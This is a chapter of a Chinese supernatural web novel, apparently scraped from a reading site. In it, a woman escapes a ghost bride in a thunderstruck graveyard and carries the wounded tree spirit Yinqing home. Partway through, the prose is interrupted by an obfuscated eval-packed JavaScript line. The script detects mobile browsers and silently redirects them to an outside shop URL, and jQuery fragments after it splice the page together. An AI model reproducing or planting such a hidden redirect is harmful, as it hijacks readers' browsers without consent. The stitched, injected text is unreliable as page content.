大雨滂沱。
如同海洋倒灌,没有间隙,淋得人呼吸不过来。
鼻腔里全是水,随意呼吸一口都是浓厚的土腥气。她感觉到自己后脑勺都似乎泡在泥水里,沉闷地像躺在封闭的塑料桶里,耳边不断传来落雨天和挖土声……
岑让川悠悠转醒,刚睁开眼,视线还未聚焦,几颗葡萄般大的水滴迅速接近,砸在眼皮上。冰凉雨水淌入眼中,凉得眼球略微感到刺痛。她重新闭上眼睛,缓了会才清醒过来。
天色半黑半明,她在雨中浑身淋湿,身下淌着的还是泥浆。
四周树林跟白日看时完全不一样,俱是浓黑一片。
她想起昏倒前,看到盖头下的鬼新娘,不由打了个哆嗦。
“醒了?”一旁土堆下传来银清的声音。
话音刚落,一把铲子丢到了上来,“下来帮忙。”
岑让川抹去脸上雨水,总觉得哪不对劲:“我手机呢?”
银清没有回答她,在堆起的黄土下忙碌个不停。
她四处搜寻,总算找到在不远处半埋进土中的手机。
按下电源键,屏幕亮起。
还没输密码,画面已经跳转到相册。
手机像有了意识,蹦出一张图。
是她拍黑猫蛋蛋的照片,此刻,这张照片用系统自带红色涂鸦笔写着“还我vintage衣”。
字体扭曲,锋利,似一把小刀要割开画面。
雨滴砸在手机屏上,留下水迹。
突然,手机再次自动蹦转,打开了前置摄影。
惊雷劈下。
照亮这片坟地。
岑让川从相机里看到自己背后垂下的红盖头穗穗。
背脊瞬间凉透。
她按灭手机,嗓音微颤:“银清。”
在黄土堆下的他没有应答。
只有不断的土从底下抛出。
岑让川提高声音,又喊了他一声:“银清?”
依旧无人应答。
雨水再次流入眼睛,她抬手抹去,眼角余光蓦地瞥见不远处躺在地上的身影。
灰色上衣,白裤子。
长发散落,整个人浸在积蓄出一小滩水潭的草地上。
被浓重的泥土雨水掩盖下,岑让川闻到一股似有若无的气味。
木头烧糊的味道……
视线收回,她往银清本该呆的地方望去。
黑烟被雨压制,并未散出。
以饲料店老板坟墓为中心,四周林木草地一片焦糊。
那些被劈到的漆黑林木,树芯被烧红,雷电带来的暗火正不断舔舐烧空那片树木。银清就倒在离火场边缘,如果不去救他,未被雨水浇灭的暗火会烧到他……
岑让川有那么一瞬间想要放弃他。
她都自顾不暇了,背后还有个鬼新娘,怎么救?!
何况烧的不是他本体,又有什么关系呢?
而且……
这还有个银清……
在不停挖土的银清。
在场四个东西,只有自己是人类。
岑让川知道自己此刻绝不能回头,不然扑灭的三把火,会被灭掉最后一把人火。到时候她真要去见阎王了。
鬼比人还怕,不然,为什么三番两次只敢通过某些媒介才来纠缠她?
她缓缓说:“这个年代,挖坟掘墓是犯法的。”
挖土的声响有一瞬间的停顿。
但也只是霎那,复又开始,快得让岑让川无法分辨那是不是自己的错觉。
雷光闪过。
岑让川想到以前老人总会对自己说,雷电交加之时,不仅成仙的生灵在渡劫,鬼魂也会因惧怕天力不敢动弹。
这个时间,够了……
她鼓起勇气,走到坟边,看到另一个银清在埋头挖土。
他的动作不太熟练,手上俱是黄土。
双脚浸入泥地,不顾脏污。
天边有隐隐雷声传来。
岑让川深呼吸一口气,大声问:“银清,别挖了。回家,做吗?”
做吗?
如果放在以前,银清大概率会欢欢喜喜丢下铲子爬出来跟她回老宅。
现在……
只一秒,雷声乍响,照亮这片坟地。
在挖土的银清动作僵硬,迅速化作一具枯骨。
岑让川拔腿就跑,往真正银清的地方奔去。
而在这之前,她必须抵达雷击木旁。
那是鬼魂惧怕的法物!
岑让川从未感觉自己的心跳这么快过,几近窒息的恐惧让她不得不往前跑,她眼中只剩下离得最近的一棵被雷劈倒的树。
有一块焦黑的木片正好飞出,就快要拿到!
三米。
两米。
一米……
脚踝猛地被什么东西拖住,岑让川重重摔倒在地。
脸砸在地上,酸痛从鼻根爬满整张脸,痛得她眼泪都掉了出来。
温热液体流出,她没有注意,拼命要往那块雷击木爬去。
“帮我!帮我啊!”
脚上沉甸甸地压上一具躯体。
鲜红鼻血淌入水里,迅速稀释成一片薄红。
岑让川压得快断气,鬼新娘掐着她腿,指甲抠入她的血肉,用力爬上来。
“别缠着我!”岑让川又惧又怒,用力踢蹬。
那双手没有放弃,也不顾她的挣扎,掐住她的腰用非人的力度直接把人整个拧过来。
“咔哒”
骨头发出错位细响。
岑让川差点没叫出来,要不是她还年轻,现在腰骨就要断了。
鬼新娘的脸再次在眼前放大,红盖头下,那只充血的眼睛死死盯着她,充满癫狂到极致的哀痛。
“帮我!”
惨白的手掐住岑让川脖颈,下手极重。
布满黄符纸的脸裹在鬼新娘每一寸皮肤上,仅露出的一只眼睛缓缓流出血泪,滴在失去粘黏效用,即将掉落的黄符上。
气息一下子被掐断,岑让川直接翻了白眼。
危急关头,她爆发出强烈的求生意志。
岑让川使劲踢蹬,踢翻身上的鬼新娘。
她来不及去看木片方向在哪,仅根据刚才的记忆,抓到地上的一个东西,直直朝鬼新娘掷去。
黑木片在半空中划过一道弧度,忽而像沾在鬼新娘身上那般,随着她砸入挖了一半的黄土坑中。
岑让川缓过神来那刻,担心鬼新娘再次冲出,马不停蹄又去捡了几块木片塞进身上口袋,这才跑去银清身边。
他浑身湿透,衣服贴在身上,一股烧焦木头的气味。黑色长发散在地上,白皙的肌肤已近透明,仿佛下一秒就要消失。
岑让川有种不详的预感,她推了推他:“银清!”
他一动不动,触手冰凉,像已经死去多时。
岑让川慌了,他要是死了……
钱怎么办?!
攒功德的事怎么办?!
她的四百万和下半辈子的命还在他手上呢!
没等她想好,身体已经自动自觉把人拖到自己背上。
岑让川环视四周,分辨下山方向。
被雷电劈开的坟地焦黑一片,视野宽阔了,却改变了记忆中的地形。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651504|143343||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她好不容易找到下山的路,不知怎的,鬼使神差地回头往鬼新娘坟头看去。
那被挖了一半的黄土坑这时再去看,丝毫没有被动过的痕迹。
一袭红衣站在坟头,远远望着她。
呜呜咽咽的哭声传来。
岑让川莫名觉得,鬼新娘……好像在伤心?
远处有沉响。
似有滚石落下。
怕是有泥石流?
岑让川再不多想,背着银清急急忙忙下山。
一路上,乱七八糟的脚印还有丢失的物品痕迹未被雨水冲干净。
她们上山后,饲料店老板家人们估计是目睹了什么东西,这才扔下她们急匆匆跑下山。
没义气的家伙。
跟饲料老板一个德行,真·不是家人一家人不进一家门。
常言道,上山容易下山难。
如果只是她一个人,根本没问题。
但现在背上还有一个银清,她必须小心再小心。
幸好,他虽然平日里看起来高大,但总归不是人类,体重没她想象中那么重,硬要说的话,有点像背一根木桩。
趁着泥石流还未冲下来,她赶忙把人背下山。
银清被她颠醒,气息不匀地说:“好疼……”
好疼?
哪疼?
岑让川看他哪哪都好好的,肤色白点而已。
她才是那个受伤的!
现在腰疼脖子疼,还得背他这棵树!
岑让川不吭声,下山后忙根据记忆往老宅处走去。
雨下得太大,镇子上的人绝不会在这种天气还开门做生意,更不可能下田劳作。
她想找人问路都没办法。
走了半个小时,路过步行街,迎面有个打伞骑电动车的人路过。
看到他们吓了一跳。
岑让川定睛一看,原来是手机店店主。
“你们去哪了啊,小伙子怎么回事?”店主掏出另一把伞给他们,帮忙替他们撑伞,“你们住的老宅,银杏树上没装避雷针吗?”
岑让川愣了愣:“那棵银杏树被劈了?!”
她下意识想回头看银清。
“是啊,好大一声!轰隆隆的。等不下雨了你该找林业局的人进去装一下。”店主又去看银清,“他去医院了吗?”
意识到银清说的疼是怎么回事后,岑让川托住他的手紧了紧,回过神来撒谎道:“嗐,我们上山帮饲料店老板他家里人看风水来着,他摔了一跤,已经去过医院了。”
店主狐疑:“那你们怎么不等雨停再走?现在淋成这样?”
“他吵着要回去,从小就这样,没办法。”
“我来背吧,你一个小姑娘也怪不容易的。”店主好心道。
岑让川本想同意,放在她脖子上的手缓缓勒紧,她这才想起银清的体重和体温都异于常人。
哪有身高186左右,体重却轻的像木桩子的男人?!
好在在她同意之前,银清已经出声,他虚弱地吐出两个字:“……不要。”
“不要丢下我,求你……”
“我好疼……求你,不要丢下我……”
他似是陷入梦魇,两行清泪落下,砸在地上,瞬间变成两颗白果。
“……”
店主低头,看看岑让川,又看看银清,再看看白果,眼中全是疑惑。
岑让川汗都下来了,连忙蹲下身捡:“死孩子老捡这些玩意……”
她一蹲下,银清登时从她背上滚落。
他手掌已成半透明状,隐隐能看到如叶脉般的绿色经脉。